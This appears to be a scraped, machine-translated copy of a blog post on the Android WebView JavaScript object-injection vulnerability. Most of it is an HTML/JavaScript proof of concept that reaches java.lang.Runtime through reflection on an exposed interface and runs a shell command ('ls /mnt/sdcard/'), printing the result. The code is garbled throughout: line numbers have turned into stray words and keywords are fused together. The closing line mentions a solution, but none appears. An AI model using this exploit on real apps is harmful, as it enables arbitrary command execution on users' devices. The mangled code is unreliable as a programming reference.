http://blog.csdn.net/leehong2005/article/details/11808557/
WebView can print SDcard file name by calling the following file
1 <!DOCTYPE HTML Public "-//W3C//DTD XHTML 1.0 transitional//en" "http://www.w3.org/TR/xhtml1/DTD/ Xhtml1-transitional.dtd ">2 <HTMLxmlns= "http://www.w3.org/1999/xhtml">3 <Head>4 <title>New Document</title>5 <Script>6 varI=0;7 functiongetcontents (inputstream) {8 varContents= ""+i;9 varb=Inputstream.read ();Ten varI= 1; One while(b!= -1) { A varbstring=String.fromCharCode (b); - Contents+=bstring; - Contents+= "\ n" the b=Inputstream.read (); - } - I=I+1; - returncontents; + } - + functionExecute (Cmdargs) { A for (varobjinchwindow) { at console.log (obj); - if(Window[obj]!=NULL) - if ("GetClass" inchWindow[obj]) { - Console.log ("come to Here"); - //alert (obj);. - returnWindow[obj].getclass (). forname ("Java.lang.Runtime"). in GetMethod ("GetRuntime",NULL). Invoke (NULL,NULL). exec (Cmdargs); - } to } + } - varP=Execute (["ls","/mnt/sdcard/"]); the Console.log ("come to here 2"); * $ document.write (getcontents (P.getinputstream ())); Panax Notoginseng </Script> - <Metaname= "Generator"content= "EditPlus" /> the <Metaname= "Author"content="" /> + <Metaname= "keywords"content="" /> A <Metaname= "description"content="" /> the </Head> + - <Body> $ $ </Body> - </HTML>
JS Object Injection Vulnerability solution for Android WebView